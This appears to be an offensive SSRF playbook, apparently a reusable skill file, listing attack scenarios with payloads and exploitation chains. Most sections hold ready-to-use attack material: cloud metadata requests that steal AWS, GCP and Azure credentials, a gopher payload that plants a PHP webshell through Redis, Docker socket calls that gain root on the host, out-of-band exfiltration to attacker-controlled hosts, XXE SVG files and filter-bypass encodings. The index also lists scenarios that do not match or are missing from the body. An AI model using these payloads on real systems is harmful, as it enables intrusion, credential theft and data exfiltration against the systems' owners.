---
name: scenarios-ssrf
description: "Real-world attack scenarios for SSRF — CVEs, bug bounty disclosures, real engagement chains"
---

# SSRF (Server-Side Request Forgery) — Real-World Attack Scenarios

> Sources: CVE database · HackerOne/Bugcrowd disclosed · Capital One breach · real engagement patterns

## Index

### Basic SSRF
- S01: Basic internal IP scan via SSRF
- S02: SSRF via PDF/image generator
- S03: SSRF via URL preview / link unfurl
- S04: SSRF via webhook callback URL
- S05: SSRF via OpenID/OAuth discovery
- S06: SSRF via import from URL feature
- S07: SSRF via file upload (fetch remote resource)

### Blind SSRF
- S08: Blind SSRF detection via DNS
- S09: Blind SSRF via timing
- S10: Blind SSRF with OOB exfiltration

### Cloud Metadata SSRF
- S11: AWS IMDSv1 credential theft (Capital One)
- S12: AWS IMDSv2 token requirement bypass
- S13: GCP metadata service
- S14: Azure IMDS
- S15: DigitalOcean metadata
- S16: Oracle Cloud metadata
- S17: Alibaba Cloud metadata
- S18: Kubernetes API via SSRF

### Internal Service SSRF
- S19: Redis RCE via Gopher protocol
- S20: Memcached RCE via Gopher
- S21: Elasticsearch SSRF
- S22: Docker socket SSRF → RCE
- S23: etcd SSRF
- S24: Consul SSRF
- S25: Internal admin panels (Jenkins, Grafana, Kibana)

### Filter Bypass
- S26: URL parser confusion (user@host)
- S27: IPv6 bypass
- S28: Decimal IP bypass
- S29: Octal IP bypass
- S30: URL encoding bypass
- S31: DNS rebinding
- S32: HTTP 30x redirect chain
- S33: 0.0.0.0 bypass
- S34: Wildcard DNS (sslip.io, nip.io)
- S35: Short URL / URL shortener bypass
- S36: file:// protocol
- S37: gopher:// protocol
- S38: dict:// protocol
- S39: Java URLClassLoader deserialization
- S40: FTP passive mode for port scan
- S41: CRLF injection in URL → header injection
- S42: WebSocket upgrade SSRF
- S43: SVG XXE → SSRF chain
- S44: SSRF via Host header in SNI
- S45: SSRF in GraphQL arguments

---

## Basic SSRF

### S01: Basic Internal IP Scan via SSRF
**Context:** URL preview, link unfurl, image import, webhook configuration
**Seen in:** Real — every bug bounty, multiple $5K+ bounties
**Impact:** Internal network access, often leading to cloud creds or RCE

### Detection
```bash
# Common parameters that fetch URLs:
?url=https://attacker.com/
?imageUrl=https://attacker.com/
?callback=https://attacker.com/
?webhook=https://attacker.com/
?sourceUrl=https://attacker.com/
?fetch=https://attacker.com/
?api_url=https://attacker.com/
?feedUrl=https://attacker.com/
?siteUrl=https://attacker.com/
?pageUrl=https://attacker.com/
?avatarUrl=https://attacker.com/
# Test internal IPs:
?url=http://127.0.0.1/
?url=http://localhost/
?url=http://192.168.1.1/
?url=http://10.0.0.1/
?url=http://169.254.169.254/  # AWS metadata
```

### Exploit
```bash
# 1. Set up OOB listener (interactsh, Burp Collaborator)
# 2. Test basic internal access:
?url=http://127.0.0.1:8080/
?url=http://192.168.0.1/
?url=http://[::1]/  # IPv6 localhost
# 3. Test cloud metadata:
?url=http://169.254.169.254/latest/meta-data/
?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# 4. Port scan internal:
?url=http://192.168.1.1:22/
?url=http://192.168.1.1:3306/
?url=http://192.168.1.1:6379/
```

### Chain
1. Find SSRF
2. Access cloud metadata → credentials
3. Use credentials to access AWS/GCP/Azure
4. Pivot to internal services
5. Full environment compromise

### Bypass / Notes
- IP whitelists: see S26-S34
- HTTP redirects: 302 to internal
- DNS rebinding: S31

---

### S02: SSRF via PDF/Image Generator
**Context:** App generates PDF/invoice/preview from URL
**Seen in:** Real — Shopify, WordPress, e-commerce platforms
**Impact:** Internal access, sometimes RCE (if uses wkhtmltopdf)

### Detection
```bash
# Submit URL for processing:
POST /generate-pdf
{"url": "https://attacker.com/"}
# Or:
GET /preview?url=https://attacker.com/
```

### Exploit
```bash
# Inject internal URL:
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
# Generated PDF contains metadata response
# Or:
{"url": "http://localhost:8080/admin/"}
# PDF renders admin panel screenshot
```

### Chain
1. SSRF via PDF gen
2. Access internal services
3. If wkhtmltopdf: file:// access for local file read
4. If puppeteer: full browser context

### Bypass / Notes
- wkhtmltopdf: file:// read often works (CVE-2022-35583)
- Some apps use headless Chrome with --no-sandbox
- Bypass file:// restrictions via redirect from internal HTTP

---

### S03: SSRF via URL Preview / Link Unfurl
**Context:** Chat, forum, social network that previews URLs
**Seen in:** Real — Slack, Discord, Twitter
**Impact:** Internal access, often via preview bot in internal network

### Detection
```bash
# Submit URL in chat:
"Check out https://attacker.com/"
# Preview bot fetches URL
# Bot often in internal network → SSRF
```

### Exploit
```bash
# Bot fetches URL → SSRF
# Test:
https://attacker.com/  # external (baseline)
http://169.254.169.254/  # cloud metadata
http://localhost/  # internal
# Preview bot often has access to internal admin
```

### Chain
1. Trigger preview bot
2. Bot fetches internal URL
3. Internal response shown in preview
4. Or bot's cookies are accessible

### Bypass / Notes
- Preview bots may be sandboxed
- Different bots in different networks
- Slack bug bounty: multiple SSRF reports

---

### S04: SSRF via Webhook Callback URL
**Context:** App sends webhook to user-provided URL on event
**Seen in:** Real — GitHub, Stripe webhooks, GitLab
**Impact:** Internal access, often via webhook server in internal network

### Detection
```bash
# Configure webhook:
POST /api/webhooks
{"url": "https://attacker.com/hook", "events": ["user.created"]}
# Trigger event
POST /api/users
# App sends webhook to attacker URL
```

### Exploit
```bash
# Webhook URL is SSRF:
{"url": "http://169.254.169.254/latest/meta-data/"}
# Or:
{"url": "http://internal-api:8080/admin/"}
# Or:
{"url": "file:///etc/passwd"}
```

### Chain
1. Configure webhook
2. App makes request to URL on event
3. Internal access via SSRF
4. Often POST with body data → data exfil

### Bypass / Notes
- Webhook may be authenticated
- Body may include secret data
- Time-based for blind

---

### S05: SSRF via OpenID/OAuth Discovery
**Context:** OIDC discovery endpoint (`/.well-known/openid-configuration`)
**Seen in:** Real — Auth0, Okta, custom OIDC
**Impact:** Internal access via metadata URL

### Detection
```bash
# OIDC discovery:
GET /.well-known/openid-configuration
# Returns URL endpoints
# Some apps allow custom OIDC provider
```

### Exploit
```bash
# 1. Set OIDC provider URL to:
{"issuer": "http://169.254.169.254/"}
# App fetches OIDC config from there
# Or:
{"issuer": "http://attacker.com/"}
{"jwks_uri": "http://attacker.com/jwks.json"}
# App trusts attacker's JWKS → JWT forgery
```

### Chain
1. Configure OIDC to attacker URL
2. App fetches OIDC config + JWKS
3. Use attacker-controlled keys to sign JWTs
4. Forge identity tokens
5. Auth bypass

### Bypass / Notes
- Must validate OIDC provider
- Some apps don't validate `iss` claim
- JWKS injection → critical

---

### S06: SSRF via Import from URL
**Context:** Migration tools, CMS import, profile picture import
**Seen in:** Real — WordPress, Magento, custom CMS
**Impact:** Internal access, often with credentials

### Detection
```bash
# Test import endpoints:
POST /api/import {"source": "https://attacker.com/"}
POST /migrate {"url": "http://169.254.169.254/"}
```

### Exploit
```bash
# Import fetches URL → SSRF
# Often POSTs data back to attacker's URL → data exfil
# Or reads XML/JSON from URL → XXE chain
```

### Chain
1. Find import endpoint
2. Inject internal URL
3. App fetches → SSRF
4. Often exfiltrates import data → data dump

### Bypass / Notes
- Some apps validate extension (.xml, .json)
- Others don't
- XML imports → XXE chain

---

## Blind SSRF

### S07: Blind SSRF Detection
**Context:** App fetches URL but doesn't show response
**Seen in:** Real — many engagements
**Impact:** Confirmation of SSRF + data exfil via OOB

### Detection
```bash
# Set up OOB listener:
interactsh-client -v
# Or use: Burp Collaborator, requestbin
# Test:
?url=https://YOUR-INTERACTSH-ID.interactsh.com
# If you receive callback → SSRF confirmed
```

### Exploit
```bash
# OOB data exfil:
# Use Burp Collaborator DNS:
?url=http://$(id).YOUR-ID.burpcollaborator.net/
# Or interactsh with placeholders:
?url=http://test{{whoami}}.YOUR-ID.interactsh.com/
```

### Chain
1. Detect SSRF via OOB
2. Exfiltrate data via DNS
3. Pivot to internal services
4. Build full attack chain

### Bypass / Notes
- Some apps only fetch whitelisted domains
- DNS rebinding for internal IP
- 302 redirect: app fetches attacker.com → redirect to 169.254.169.254

---

## Cloud Metadata SSRF

### S11: AWS IMDSv1 Credential Theft (Capital One)
**Context:** AWS EC2 instance with IMDSv1 enabled
**Seen in:** Real — Capital One breach 2019 (100M+ records)
**Impact:** AWS credentials → full account access

### Detection
```bash
# Test IMDSv1:
?url=http://169.254.169.254/latest/meta-data/
# Get IAM role:
?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Get role credentials:
?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
# Returns: AccessKeyId, SecretAccessKey, Token
```

### Exploit
```bash
# 1. SSRF to get IAM role name
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/" 
# Returns role name (e.g., "myapp-role")
# 2. Get credentials for that role
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/myapp-role"
# Returns: AccessKeyId, SecretAccessKey, Token, Expiration
# 3. Use credentials:
export AWS_ACCESS_KEY_ID=...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
aws s3 ls
aws sts get-caller-identity
# 4. Enumerate IAM permissions:
# pacu (AWS exploitation framework) 
# enumerate-iam
```

### Chain
1. SSRF to 169.254.169.254
2. Get role credentials
3. Use aws-cli to enumerate
4. Check S3 buckets, EC2, RDS
5. Pivot to data exfil (Capital One pattern)

### Bypass / Notes
- IMDSv2 requires token: see S12
- Some apps only allow whitelisted domains → use 302 redirect
- IMDSv1 is being phased out but still common

---

### S12: AWS IMDSv2 Token Requirement Bypass
**Context:** IMDSv2 requires PUT request with token first
**Seen in:** Real — modern AWS accounts
**Impact:** If app makes PUT request, can still get creds

### Detection
```bash
# Try to bypass via PUT:
# Some SSRF supports method change
# Or use SSRF that supports custom headers
```

### Exploit
```bash
# IMDSv2 flow:
# 1. PUT to get token:
PUT /latest/api/token HTTP/1.1
X-aws-ec2-metadata-token-ttl-seconds: 21600
# Returns: token
# 2. GET with token:
GET /latest/meta-data/iam/security-credentials/role
X-aws-ec2-metadata-token: TOKEN
# Returns: credentials
# SSRF that supports PUT + custom headers → still vulnerable
```

### Chain
1. Find SSRF with method/header control
2. PUT to get token
3. GET with token for creds
4. Use creds

### Bypass / Notes
- Most SSRF is GET-only → IMDSv2 protects
- If SSRF supports custom headers/methods, vulnerable
- Some libraries default to GET but allow override

---

### S13: GCP Metadata Service
**Context:** GCP GCE instance with metadata server
**Seen in:** Real — Google Cloud engagements
**Impact:** Service account creds + project info

### Detection
```bash
# Test GCP metadata:
?url=http://metadata.google.internal/computeMetadata/v1/
# Requires header: Metadata-Flavor: Google
```

### Exploit
```bash
# Default service account:
curl -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
# Returns: access_token
# Project info:
curl -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/project/project-id"
# Service account:
curl -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/"
# Use access_token:
gcloud auth activate-access-token $TOKEN
gcloud compute instances list
gcloud storage buckets list
```

### Chain
1. SSRF + custom header support
2. Get access token
3. Use gcloud / REST API
4. Access project resources
5. Pivot

### Bypass / Notes
- Requires `Metadata-Flavor: Google` header
- If SSRF doesn't support custom headers → harder
- Some libraries have header injection in URL (?param)

---

### S14: Azure IMDS
**Context:** Azure VM with metadata service
**Seen in:** Real — Azure engagements
**Impact:** Managed identity tokens + subscription info

### Detection
```bash
# Azure metadata (only 2021-12-13 or newer):
?url=http://169.254.169.254/metadata/instance?api-version=2021-12-13
# Requires header: Metadata: true
```

### Exploit
```bash
# Get token:
curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
# Returns: access_token
# Use:
curl -H "Authorization: Bearer $TOKEN" "https://management.azure.com/subscriptions?api-version=2020-01-01"
# Lists all subscriptions
```

### Chain
1. SSRF + custom header
2. Get Azure token
3. Use Azure REST API
4. Enumerate resources
5. Pivot to data

### Bypass / Notes
- Requires `Metadata: true` header
- Older API versions had info disclosure
- Modern Azure requires specific header

---

### S15: DigitalOcean Metadata
**Context:** DigitalOcean droplet
**Seen in:** Real — DO engagements
**Impact:** Droplet metadata

### Detection
```bash
# DO metadata:
?url=http://169.254.169.254/metadata/v1/
# No header required!
```

### Exploit
```bash
# Get user-data (startup script):
curl "http://169.254.169.254/metadata/v1/user-data"
# Get instance metadata:
curl "http://169.254.169.254/metadata/v1.json"
# No creds by default
```

### Chain
1. SSRF to metadata
2. Get user-data (often has secrets)
3. Pivot from there

### Bypass / Notes
- No custom header needed (unlike AWS/GCP)
- User-data often has DB creds, API keys
- Less protected than AWS

---

## Internal Service SSRF

### S19: Redis RCE via Gopher Protocol
**Context:** SSRF to internal Redis
**Seen in:** Real — many engagements, $10K+ bounties
**Impact:** RCE on Redis server, often full app server compromise

### Detection
```bash
# Find Redis on internal:
?url=http://10.0.0.1:6379/
?url=gopher://10.0.0.1:6379/_...
# Test if Redis:
?url=http://internal-redis:6379/INFO
# Or test RESP protocol
```

### Exploit
```bash
# 1. Build gopher payload to set up Redis RCE:
# Redis command: SLAVEOF attacker.com 6379
# Then: SLAVEOF NO ONE → have replica
# Or: SET payload
# Or: CONFIG SET dir /var/www/html; CONFIG SET dbfilename shell.php; SET payload "<?php system($_GET['c']); ?>"; SAVE

# 2. URL-encoded gopher payload:
# Convert Redis commands to gopher format
# Tool: https://github.com/rmb122/redis_ssrf_rce

# Example (URL-encoded):
gopher://10.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2427%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27c%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
# Or use: python redis_ssrf_rce.py
```

### Chain
1. SSRF to Redis
2. Use gopher:// to send RESP commands
3. Write webshell to web root via CONFIG SET
4. Get RCE on app server
5. Pivot

### Bypass / Notes
- Requires gopher:// support (PHP, some Java apps)
- Some libraries restrict to http/https
- Modern Redis: enable protected-mode

---

### S22: Docker Socket SSRF → RCE
**Context:** SSRF to Docker socket (often mounted in container)
**Seen in:** Real — many cloud-native apps
**Impact:** Full host compromise

### Detection
```bash
# Find Docker socket:
?url=unix:///var/run/docker.sock
?url=http://localhost:2375/containers/json
?url=http://host:2375/
```

### Exploit
```bash
# 1. List containers:
GET /containers/json HTTP/1.1
# 2. Create privileged container with host mount:
POST /containers/create HTTP/1.1
{"Image":"alpine","Cmd":["/bin/sh"],"HostConfig":{"Privileged":true,"Binds":["/:/host"]}}
# 3. Start container:
POST /containers/{id}/start
# 4. Exec into container:
POST /containers/{id}/exec
{"Cmd":["chroot","/host","/bin/sh","-c","id"]}
# 5. Get shell on host
```

### Chain
1. SSRF to Docker socket
2. Create privileged container
3. Mount host filesystem
4. Get root on host
5. Pivot

### Bypass / Notes
- Docker socket usually 0.0.0.0:2375 in dev → not exposed in prod
- Sometimes in sidecar container
- Check if container has docker socket mounted

---

## Filter Bypass

### S26: URL Parser Confusion (user@host)
**Context:** App validates host but parser differs between validator and fetcher
**Seen in:** Real — many apps, classic SSRF bypass
**Impact:** Bypass SSRF protection

### Detection
```bash
# Test parser confusion:
?url=http://attacker.com@127.0.0.1/
?url=http://127.0.0.1#@attacker.com/
?url=http://127.0.0.1\@attacker.com/
```

### Exploit
```bash
# Examples of parser confusion:
# 1. user@host:
?url=http://attacker.com@127.0.0.1:8080/admin
# URL parser: host=127.0.0.1, user=attacker.com
# Some libs: host=attacker.com (wrong!)
# 2. Fragment:
?url=http://127.0.0.1:8080/@attacker.com
# 3. Backslash:
?url=http://127.0.0.1\@attacker.com
# Java URL: 127.0.0.1 (treats \ as /)
# Some libs: attacker.com
# 4. Multiple slashes:
?url=http:///127.0.0.1/
# 5. URL-encoded @:
?url=http://attacker.com%40127.0.0.1/
```

### Chain
1. Find SSRF filter
2. Apply parser confusion
3. Access internal services
4. Full SSRF exploitation

### Bypass / Notes
- Blacklist approaches fail
- Use whitelist with proper validation
- Test all parser variants

---

### S27-S30: IP Encoding Bypasses
**Context:** Apps block "127.0.0.1" or "localhost" but allow encoded versions
**Seen in:** Real — common in SSRF filters
**Impact:** Bypass SSRF filter

### Detection
```bash
# Decimal IP: 2130706433 = 127.0.0.1
?url=http://2130706433/
# Octal: 0177.0.0.1
?url=http://0177.0.0.1/
# Hex: 0x7f.0.0.1
?url=http://0x7f.0.0.1/
# Integer: 0x7f000001
?url=http://0x7f000001/
# IPv6: [::1], [0:0:0:0:0:0:0:1]
?url=http://[::1]/
# Mixed encoding
?url=http://0x7f.1/
# Short forms:
?url=http://0/  # 0.0.0.0
?url=http://127.1/
?url=http://127.0.1/
```

### Exploit
```bash
# Test all variants to find which bypass works:
for ip in 2130706433 0x7f000001 0177.0.0.1 0x7f.0.0.1 127.1 0 [::1] 0:0:0:0:0:0:0:1; do
  echo "Testing $ip..."
  curl -s "https://target.com/?url=http://$ip/" -I | head -1
done
```

### Chain
1. Identify SSRF filter
2. Test encoding variants
3. Find one that works
4. Access internal services

### Bypass / Notes
- Different languages parse IPs differently
- Python: all work
- Java: most work
- Go: strict
- Always test all variants

---

### S31: DNS Rebinding
**Context:** App validates domain then fetches later (TOCTOU)
**Seen in:** Real — many apps
**Impact:** Bypass domain whitelist + access internal

### Detection
```bash
# Set up rebinding domain:
# 1. Use rebinder.org, whonow, singularity
# 2. Configure: evil.com → 1.2.3.4 → 127.0.0.1
# 3. App validates evil.com (resolves to 1.2.3.4) → external
# 4. App fetches evil.com (resolves to 127.0.0.1) → internal!
```

### Exploit
```bash
# Setup: attacker.com has very low TTL
# First query returns: 1.2.3.4 (attacker IP)
# Second query returns: 127.0.0.1 (internal)
# Time-based or 302 redirect

# Tool: whonow (https://github.com/brannondorsey/whonow)
# Or: rebinder.org
# Or: nip.io with subdomain trick (not always works)
```

### Chain
1. Set up DNS rebinding
2. Submit URL to vulnerable app
3. App validates external → passes
4. App fetches → resolves to internal
5. SSRF to internal services

### Bypass / Notes
- Many apps resolve domain once and cache
- Some apps don't check internal IP
- Some apps check IP at validation but not fetch
- TTL must be 0 for fast rebind

---

### S32: HTTP 30x Redirect
**Context:** App validates URL but follows redirects
**Seen in:** Real — very common
**Impact:** Bypass URL filter via 302

### Detection
```bash
# Set up server that 302s to internal:
# Server returns: Location: http://127.0.0.1/
# App validates: https://attacker.com/ → OK
# App fetches: redirects to http://127.0.0.1/ → SSRF
```

### Exploit
```bash
# 1. Set up redirect server:
# Python:
python -c "import http.server; 
class H(http.server.BaseHTTPRequestHandler):
  def do_GET(s): s.send_response(302); s.send_header('Location','http://127.0.0.1/'); s.end_headers()
http.server.HTTPServer(('0.0.0.0',80),H).serve_forever()"
# 2. App fetches: https://attacker.com/ → 302 → 127.0.0.1
```

### Chain
1. Set up redirect server
2. Submit URL to app
3. App fetches → 302 to internal
4. Internal response returned
5. SSRF exploitation

### Bypass / Notes
- Most SSRF filters don't follow redirects
- Internal access via redirect
- Combine with DNS rebinding for double bypass

---

### S34: Wildcard DNS (sslip.io, nip.io)
**Context:** Apps allow *.example.com but block IPs
**Seen in:** Real — bypass IP filters
**Impact:** Convert IP to domain

### Detection
```bash
# Test:
?url=http://127.0.0.1.sslip.io/
# Resolves to 127.0.0.1
# Or:
?url=http://127-0-0-1.nip.io/
```

### Exploit
```bash
# Wildcard DNS services:
# - sslip.io: 127.0.0.1 → 127.0.0.1.sslip.io
# - nip.io: 127.0.0.1 → 127.0.0.1.nip.io
# - sslip.io also supports: 
#   192.168.1.1.sslip.io → 192.168.1.1
#   1.2.3.4.sslip.io → 1.2.3.4
# - Or set up your own: ns1.attacker.com → 127.0.0.1
```

### Chain
1. Find SSRF filter blocks IPs
2. Use wildcard DNS domain
3. App validates domain → passes
4. App fetches → resolves to internal IP
5. SSRF to internal

### Bypass / Notes
- Easy bypass for IP-based filters
- Some apps block these specific domains
- Self-hosted DNS can be made stealthy

---

### S36-S38: Protocol Bypass (file://, gopher://, dict://)
**Context:** SSRF filter only allows http(s)://
**Seen in:** Real — many apps
**Impact:** File read, internal protocol exploitation

### Detection
```bash
# Test protocols:
?url=file:///etc/passwd
?url=gopher://internal:6379/_...
?url=dict://internal:11211/stat
?url=ldap://internal:389/...
?url=ftp://internal/
```

### Exploit
```bash
# file:// (read local files):
?url=file:///etc/passwd
?url=file:///proc/self/environ
?url=file:///var/www/html/config.php

# gopher:// (TCP arbitrary data):
# Used for Redis, Memcached, SMTP
# See S19 for Redis example

# dict:// (DICT protocol):
?url=dict://internal:11211/stat
# Memcached stats
# SMTP:
?url=gopher://internal:25/_HELO...
# SMTP commands
```

### Chain
1. Find SSRF with http(s) filter
2. Try other protocols
3. file:// for local read
4. gopher:// for Redis/Memcached/SMTP
5. RCE via Redis (S19)

### Bypass / Notes
- Many libs restrict to http(s)
- Java: usually allows all
- PHP curl: must be configured
- Go: usually http(s) only

---

### S43: SVG XXE → SSRF Chain
**Context:** Upload SVG, server processes with XXE
**Seen in:** Real — many image processors
**Impact:** File read + SSRF + sometimes RCE

### Detection
```bash
# Upload SVG:
curl -X POST -F "file=@xss.svg" https://target.com/upload
# Where xss.svg contains:
# <!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
# <svg>&xxe;</svg>
```

### Exploit
```bash
# XXE in SVG file:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg">
  <text>&xxe;</text>
</svg>
# Or SSRF:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<svg xmlns="http://www.w3.org/2000/svg">
  <text>&xxe;</text>
</svg>
```

### Chain
1. Find SVG upload
2. Inject XXE in SVG
3. Read local files
4. Or access cloud metadata
5. Pivot

### Bypass / Notes
- Many uploaders sanitize SVG
- Try external SVG with entities
- Use parameter entities for OOB XXE

---

## Real-World Chain Examples

### Chain A: SSRF → AWS Creds → S3 Dump (Capital One)
1. SSRF in web app firewall misconfig
2. Access 169.254.169.254 → IAM role creds
3. Use creds to list S3 buckets
4. Capital One S3 bucket had 100M+ credit applications
5. Data exfil via S3

### Chain B: SSRF → Redis RCE → Internal Pivot
1. SSRF to internal Redis via gopher://
2. Write webshell to /var/www/html/
3. RCE on app server
4. Discover internal Jenkins
5. Pivot to internal network

### Chain C: Blind SSRF → Internal Admin → Compromise
1. OOB SSRF to internal IP
2. Find internal admin panel
3. Use SSRF as proxy to interact
4. Admin has default creds
5. Pivot

### Chain D: SSRF → Docker Socket → Host Root
1. SSRF to Docker API
2. Create privileged container with host mount
3. Get root on host
4. Pivot to internal network
